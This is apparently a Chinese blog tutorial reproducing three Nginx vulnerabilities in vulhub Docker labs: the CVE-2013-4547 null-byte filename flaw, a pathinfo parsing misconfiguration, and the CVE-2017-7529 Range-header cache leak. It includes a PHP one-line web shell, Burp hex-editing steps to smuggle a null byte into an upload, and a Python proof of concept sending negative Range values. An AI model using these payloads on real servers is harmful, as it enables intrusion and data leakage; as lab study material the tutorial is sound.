目录
1、Nginx文件名逻辑漏洞
2、Nginx解析漏洞
3、Nginx越权读取缓存漏洞
这里需要的漏洞环境可以看:Nginx 配置错误导致的漏洞-CSDN博客
1、Nginx文件名逻辑漏洞
该漏洞利用条件有两个:
-
Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
-
php-fpm.conf中的security.limit_extensions为空,也就是说任意后缀名都可以解析为PHP、
首先我们移动对对应的漏洞文件目录下:
cd /root/vulhub-master/nginx/CVE-2013-4547
拉取环境:
docker-compose up -d
然后可以访问一下
可以看到这里是让我们上传一个文件的操作
然后我们分析一下这个文件名解析漏洞:
这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi(是一种协议规范)进行解析,常见的写法如下:
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。
而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php
,这个URI可以匹配上正则\.php$
,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20]
(这里就是因为\0截断问题),就设置其为SCRIPT_FILENAME
的值发送给fastcgi。
若我们访问的文件名为shell.gif0x20.php,该文件名以.php结尾可以被FastCGI接收,FastCGI在读取文件名时被00截断,导致读取的文件名为1.gif[0x20],配合limit_extensions为空即可利用成功。
(1)现在我们可以新建一个txt文本文件
(2)将一句话木马写入
<?php system($_GET['var']); ?>
(3)修改后缀为.jpg
(4)打开BP进行抓包
(5)上传刚才的一句话木马图片
然后可以看到成功的抓到了这个上传文件的数据包
(6)修改包
首先我们在这里插入了两个aa,用于后面替换\0截断字符
然后点击Hex中来进行修改
这里相当于已经插入了\0截断字符
(7)最后点击go进行访问
(8)最后访问这个文件
访问时再次使用BP抓到数据包
使用同样的访问进行将 61 61修改为 20 00
这里因为火绒浏览器一说报错说图片显示有问题,并且其他浏览器没有代理的原因,最后的访问没有成功!一直报错400,暂时没有成功,不过这里是可以正常解析php的
总结一下这一共利用了两个点:
- 利用\0会截断文件名的漏洞,上传将.php文件当做.jpg文件上传
- 利用将security.limit_extensions = 设置为空来可以以php的方式来解析.jpg文件
2、Nginx解析漏洞
首先进入到对应的目录:
/root/vulhub-master/nginx/nginx_parsing_vulnerability
拉取漏洞环境:
docker-compose up -d
注:如果这里拉取环境报错说443端口被占用,可以使用systemctrl来关闭nginx服务解决问题
现在分析一下这个解析漏洞
该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
利用条件
#这两个条件同时满足
# php.ini
cgi.fix_pathinfo=1
# php-fpm.conf
security.limit_extensions = .php .jpg
我们现在的环境满足这两个条件,那么现在可以尝试测试一下:
首先先准备一个test.jpg内容为:
<?php phpinfo(); ?>
当访问http://127.0.0.1/test.jpg时显示图片解析错误,当访问http://127.0.0.1/test.jpg/test.php时结果显示Access denied,这个回显很奇怪,正常访问这个链接是不存在的,正常思维应该是404,这里就需要研究下Nginx的解析流程了:
Nginx在收到/test.jpg/test.php路径时,首先判断文件类型,发现后缀是.php,便交给php处理,但php想要解析该文件时,发现并不存在,便删除掉/test.php,去找test.jpg,此时test.jpg是存在的,便要尝试解析它,但无奈后缀是.jpg,不是php,便报错Access denied。
上面的流程中提到了一个点,就是删除/test.php,这是Nginx的“修理”机制,由参数cgi.fix_pathinfo决定,当值为1时,便进行“修理”。
例如,文件名为/aa.jpg/bb.png/cc.php,如果cc.php不存在就找/aa.jpg/bb.png,如果还不存在就找aa.jpg,如果存在将它视为php文件。 到目前为止我们并没有成功利用解析漏洞,因为php代码并没有执行。为什么呢?
因为在PHP的配置中没有定义降.jpg文件中的php代码也解析为php,这是在security.limit_extensions中定义的。由于security.limit_extensions的引入,漏洞难以利用。
利用效果:
3、Nginx越权读取缓存漏洞
首先进入到对应的目录:
/root/vulhub-master/nginx/CVE-2017-7529
拉取漏洞环境:
docker-compose up -d
下面就分析一下这个越权读取缓存漏洞:
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。
如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
content-Range:内容的范围
range是什么?
存在于HTTP请求头中,表示请求目标资源的部分内容,例如请求一个图片的前半部分,单位是byte,原则上从0开始,但今天介绍的是可以设置为负数。 range的典型应用场景例如:断点续传、分批请求资源。
缓存是什么?
大多数的Web服务器都具有缓存的功能,解释起来比较麻烦,可以看下图:
分布式缓存介绍
当请求服务器的资源时,如果在缓存服务器中存在,则直接返回,不在访问应用服务器,可以降低应用服务器的负载。 例如网站的首页的缓存,nginx的默认缓存路径在/tmp/nginx下,例如:当请求服务器的资源时,如果在缓存服务器中存在,则直接返回,不在访问应用服务器,可以降低应用服务器的负载。
1、现在我要读取刚才讲到的缓存文件头,他的Content-Length时612,那么我读取正常缓存文件的range是设置为
Range: bytes=0-612
使用curl工具测试下,命令如下,执行后发现,返回的内容是正常的。
curl -i http://127.0.0.1:8080 -r 0-612
2、接下来要读取缓存头,读取前面600个字节,也就是
range=content_length + 偏移长度
即:
range = 612 + 600
取负值为-1212
此时知道range的start是-1212,那么end呢?nginx的源码在声明start,end时用的是64位有符号整型,所以最大可表示:
-2^63-2^63-1
也就是
-9223372036854775808 到 9223372036854775807
所以只要start+end为9223372036854775807即可,故:
end = 9223372036854775808 - 1212
取负
为-9223372036854774596
3、下面我们就尝试复现一下:
(1)在浏览器访问http://192.168.159.200:8080/
(2) python3 poc.py http://127.0.0.1:8080
poc.python:
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
到这里常见的几种Nginx漏洞已经复现完毕,其他Nginx漏洞详见:Vulhub - Docker-Compose file for vulnerability environment